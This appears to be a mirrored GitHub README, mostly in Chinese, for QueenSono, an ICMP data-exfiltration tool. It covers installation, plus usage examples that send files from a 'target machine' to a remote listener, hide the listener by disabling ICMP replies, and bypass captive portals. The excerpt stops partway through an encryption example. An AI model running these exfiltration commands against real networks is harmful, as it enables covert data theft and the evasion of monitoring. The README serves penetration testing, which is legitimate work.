ariary/QueenSono
GitHub: ariary/QueenSono
基于 ICMP 协议的二进制数据外泄工具,解决在受限或监控环境中隐蔽传输数据的问题。
Stars: 168 | Forks: 27
QueenSono ICMP 数据外泄

A Golang Package for Data Exfiltration with ICMP protocol.
QueenSono 工具仅依赖 ICMP 协议未被监控这一事实。这在现实中很常见。它也可以在具备基础 ICMP 监控(例如频率和内容长度检测)的系统内使用,或用于绕过使用 captive portal 的认证步骤(许多公共 Wi-Fi 在连接后要求用户进行认证,例如机场 Wi-Fi)。尝试模仿 PyExfil(及其他工具),其理念是目标机器不一定安装了 Python(因此提供一个二进制文件会很有用)。
安装它
·
使用它
·
说明
·
请求功能
·
🎁
## 安装
### 使用 `curl`
*> 从发布版本获取*
```
curl -lO -L https://github.com/ariary/QueenSono/releases/latest/download/qsreceiver
curl -lO -L https://github.com/ariary/QueenSono/releases/latest/download/qssender
```
### 使用 `go`
*> 通过 `go install`*
确保 `$GOPATH` 已在你的 `$PATH` 中
安装 `qssender`
```
go install github.com/ariary/QueenSono/cmd/client@latest
mv $GOPATH/bin/client $GOPATH/bin/qssender #rename binary
```
安装 `qsreceiver`
```
go install github.com/ariary/QueenSono/cmd/server@latest
mv $GOPATH/bin/server $GOPATH/bin/qsreceiver #rename binary
```
*\> 从源码构建二进制文件*
克隆仓库并本地下载依赖:
```
git clone https://github.com/ariary/QueenSono.git
cd QueenSono
make before.build
```
构建 ICMP 数据包发送器 `qssender`:
```
build.queensono-sender
```
构建 ICMP 数据包接收器 `qsreceiver`:
```
build.queensono-receiver
```
## 使用
`qssender` 是用于向监听端发送 ICMP 数据包的二进制文件,因此你需要将其传输到目标机器。
`qsreceiver` 是本地监听端(或任意可以接收 ICMP 数据包的位置)
两个二进制文件的所有命令和标志均可通过 `--help` 查看。
### 示例 1:使用 “ACK” 发送 🔙
*\> 在此示例中,我们希望发送一个大文件并等待回显应答以确认数据包接收(ACK)。*

本地机器:
```
$ qsreceiver receive -l 0.0.0.0 -p -f received_bible.txt
```
说明
-l 0.0.0.0 监听所有接口的 ICMP 数据包
-f received_bible.txt 将接收到的数据保存到文件
-p 显示接收数据的进度条
目标机器:
```
$ wget https://raw.githubusercontent.com/mxw/grmr/master/src/finaltests/bible.txt #download a huge file (for the example)
$ qssender send file -d 2 -l 0.0.0.0 -r 10.0.0.92 -s 50000 bible.txt
```
说明
send file 用于发送文件(bible.txt 为目标文件)
-d 2 每 2 秒发送一个数据包
-l 0.0.0.0 用于接收 回显应答 的监听地址
-r 10.0.0.92 我的远程机器地址(其上运行着 qsreceiver)
-s 50000 每个数据包希望发送的数据大小
### 示例 2:不使用 “ACK” 发送 🙈
*\> 在此示例中,我们希望发送一条消息而不等待回显应答(这在目标防火墙过滤入站 ICMP 数据包时很有用)*

本地机器:
```
$ qsreceiver receive truncated 1 -l 0.0.0.0
```
说明
receive truncated 1 如果未收到所有数据包,不会无限等待。(1 是与 qssender 配合使用的延迟)
为了隐蔽性,你可以阻止内核响应任何 ICMP 请求
echo 1 | dd of=/proc/sys/net/ipv4/icmp_echo_ignore_all
目标机器:
```
$ qssender send "thisisatest i want to send a string w/o waiting for the echo reply" -d 1 -l 0.0.0.0 -r 10.0.0.190 -s 1 -N
```
说明
-N 不回复选项(不等待 回显应答)
### 示例 3:发送加密数据 🔒
*\> 在此示例中,我们希望发送加密的消息。由于命令行可能被监控,我们使用非对称加密(如果密钥泄露也不是问题)。*

本地机器:
```
$ qsreceiver receive -l 0.0.0.0 --encrypt
标签:EVTX分析, Golang, HTTP over ICMP, ICMP, ICMP协议, ICMP绑定Shell, ICMP隧道, PyExfil替代, 二进制工具, 代码生成, 公共Wi-Fi绕过, 安全测试, 安全编程, 攻击性安全, 数据外传, 无Python依赖, 日志审计, 流量绕过, 渗透测试工具, 网络安全, 网络渗透, 认证绕过, 隐私保护, 隐蔽通信